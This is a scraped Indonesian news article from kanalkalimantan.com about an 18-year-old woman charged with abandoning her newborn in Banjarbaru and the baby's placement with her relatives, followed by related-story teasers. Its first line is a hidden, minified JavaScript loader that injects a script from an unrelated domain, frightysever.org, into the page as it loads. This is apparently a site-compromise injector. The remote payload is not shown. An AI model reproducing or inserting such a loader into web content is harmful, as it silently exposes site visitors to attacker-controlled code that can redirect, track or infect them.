(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – SNA (18) tersangka penelantaran bayi di Jalan Trikora, Kelurahan Kemuning, Kota Banjarbaru, depan sebuah ruko diserahkan ke Kejaksaan Negeri Banjarbaru oleh Polsek Banjarbaru Utara.
Sementara bayinya masih dititipkan di Panti Perlindungan dan Rehabilitasi Sosial Anak dam Remaja (PPRSAR) Mulia Sari di Landasan Ulin, dikabarkan bayinya akan diasuh sendiri oleh pihak keluarga tersangka.
Pengasuhan bayi oleh pihak keluarga tersangka dibenarkan Kepala Dinas Sosial (Dinsos) Kota Banjarbaru, Rokhyat Riyadi. Kadinsos Banjarbaru mengatakan, pihak keluarga sudah ada berkoordinasi dengan Dinsos Kota Banjarbaru untuk mengasuh bayi tersebut.
“Untuk anak yang dibuang di Trikora dari pihak keluarganya akan mengasuh anak tersebut,” ujarnya, Selasa (17/1/2023) pagi.
Baca juga: Trauma Para Anak Yatim Korban Kekerasan Pengelola Panti Asuhan di Mentaos
Terkait pemberkasan, kata Rokhyat, tidak perlu menunggu orangtua kandungnya yang terjerat hukum bebas, pihak keluarga sudah bisa mengurus berkasnya.
“Tanpa menunggu orangtuanya, keluarga bisa mengurus berkasnya, kan orangtuanya status hukumnya tersendiri,” katanya.
Menurut Rohiyat, dalam pengasuhan bayi tersebut lebih baik keluarga yang mengambil alih daripada orang lain.
“Walau hubungan keluarga, memang secara birokrasi ada yang harus dilengkapi,” bebernya.
Dirinya mengharapkan pihak keluarga tersangka dapat mengasuh anak tersebut dengan baik.
Baca juga: Lanal Banjarmasin Tabur Bunga di Perairan Muara Sungai Barito
Sebelumnya warga digegerkan dengan temuan seorang bayi didepan sebuah ruko, bayi laki-laki tersebut diletakkan pada sebuah kardus dengan uang Rp 50 ribu dan sebuah dot.
Setelah itu jajaran Polsek Banjarbaru Utara melakukan penelusuran terhadap pelaku dengan mengikuti setiap rekaman CCTV yang ada disekitaran TKP. Akhirnya pelaku SNA (18) berhasil diamankan di sebuah indekos yang ada di Kelurahan Loktabat Selatan.
Adapun motif SNA (18) membuang bayinya lantaran dirinya kebingungan merawat dan membesarkan sang buah hati, disamping itu juga dalam waktu bersamaan adik SNA (18) dari Kalimantan Tengah ingin berkunjung ke tempatnya. Sehingga dirinya memilih untuk meletakkan bayinya di sebuah ruko langganannya dengan maksud menitipkan bayinya yang kemudian diambil kembali.
Tersangka SNA (18) juga mengakui kalau anak tersebut hasil dari hubungan diluar nikah dan pasangannya siap bertanggung jawab.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.